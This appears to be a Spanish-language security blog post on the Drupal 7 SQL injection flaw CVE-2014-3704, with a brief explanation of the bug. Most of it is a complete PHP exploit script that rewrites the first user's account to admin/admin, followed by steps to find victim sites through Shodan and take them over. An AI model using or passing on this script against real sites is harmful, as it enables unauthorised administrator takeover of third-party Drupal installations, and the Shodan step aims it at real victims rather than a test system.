Explotando la inyección SQL en Drupal 7.0 a 7.31 (CVE-2014-3704)

Durante una auditoría de código, Stefan Horst de “SektionEins GmbH” encontró una vulnerabilidad de inyección SQL en Drupal 7 en la forma en que el mismo maneja las declaraciones preparadas.

Un usuario malintencionado puede inyectar consultas SQL arbitrarias, y en algunos servidores, escribir un archivo PHP ejecutable en cualquier lugar del servidor.

En el siguiente código se puede ver la parte del contenido de la función expandArguments(&$query, &$args) en la que se asume que es llamada con un array que no tiene llaves.

image

El primer ejemplo es el código normal, que seleccionará dos usuarios con nombres en name_0 y name_1.

El segundo ejemplo muestra la vulnerabilidad. La función expandArguments es llamada con un array que tiene claves que no son números enteros, que incorpora la llave en la consulta, tratándola como un valor.

Explotando la vulnerabilidad

El descubridor de la vulnerabilidad Stefan Horst (stefan.horst[at]sektioneins.de) ha creado un simple script PHP en el que introduciendo una URL se intentará explotar la vulnerabilidad en cuestión y, si la explotación es satisfactoria, cambiará el primer usuario a admin y su correspondiente contraseña a admin.

El script se puede descargar desde https://gist.github.com/milankragujevic/61eb72df71b69df80e86#file-drupal_passchange-php

Para hacer más sencilla su explotación se ha modificado el script para poder llamarlo desde el navegador indicándole la URL víctima como parámetro GET:

   1: <?php
   2: /********************************************************
   3:  * Drupal 7 SQL Injection vulnerability demo
   4:  * Created by Milan Kragujevic (of milankragujevic.com)
   5:  * Adapted by Patricio Castagnaro (@pcastagnaro)
   6:  * Original posted by http://milankragujevic.com/post/66
   7:  * Read more on http://www.totalsec.com.ar/2014/11/explotando-la-inyeccion-sql-en-drupal.html
   8:  * This will change the first user's username to admin
   9:  * and their password to admin
  10:  ********************************************************/
  11:  
  12: $url = $_GET["url"]; // URL of the website (http://domain.com/)
  13: $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
  14:  
  15: $params = array(
  16:     'http' => array(
  17:         'method' => 'POST',
  18:         'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
  19:         'content' => $post_data
  20:     )
  21: );
  22: $ctx = stream_context_create($params);
  23: $data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
  24:  
  25: echo "[+] Sent <strong>".$post_data."</strong> to <strong>".$url."</strong><br /><br />";
  26:  
  27: if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
  28:     echo "[+] Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
  29: } else {
  30:     echo "[+] Error! Either the website <strong>".$url."</strong> isn't vulnerable, or your Internet isn't working. ";
  31: }

1. Para poder hacer funcionar el script inicialmente se deberá levantar el servidor Apache con el fin de montar el servidor web local desde donde se ejecutará el script PHP. En Kali Linux esto se realiza desde el terminal con el comando service apache2 start


image

2. Con el fin de buscar sitios web vulnerables, se puede utilizar Shodan buscando sitios web que estén utilizando Drupal 7


image


3. Una vez que se tenga alguna URL, desde un navegador abra la página web PHP que contiene el exploit de la siguiente forma:


image


4. Una vez que logre explotar la vulnerabilidad ingrese a la URL que se le indica con el usuario admin y la clave admin:


image


image

Entradas populares de este blog

Trinity Rescue Kit: Tutorial para eliminar la contraseña de administrador en Windows

Cómo extraer el handshake WPA/WPA2 de archivos de captura grandes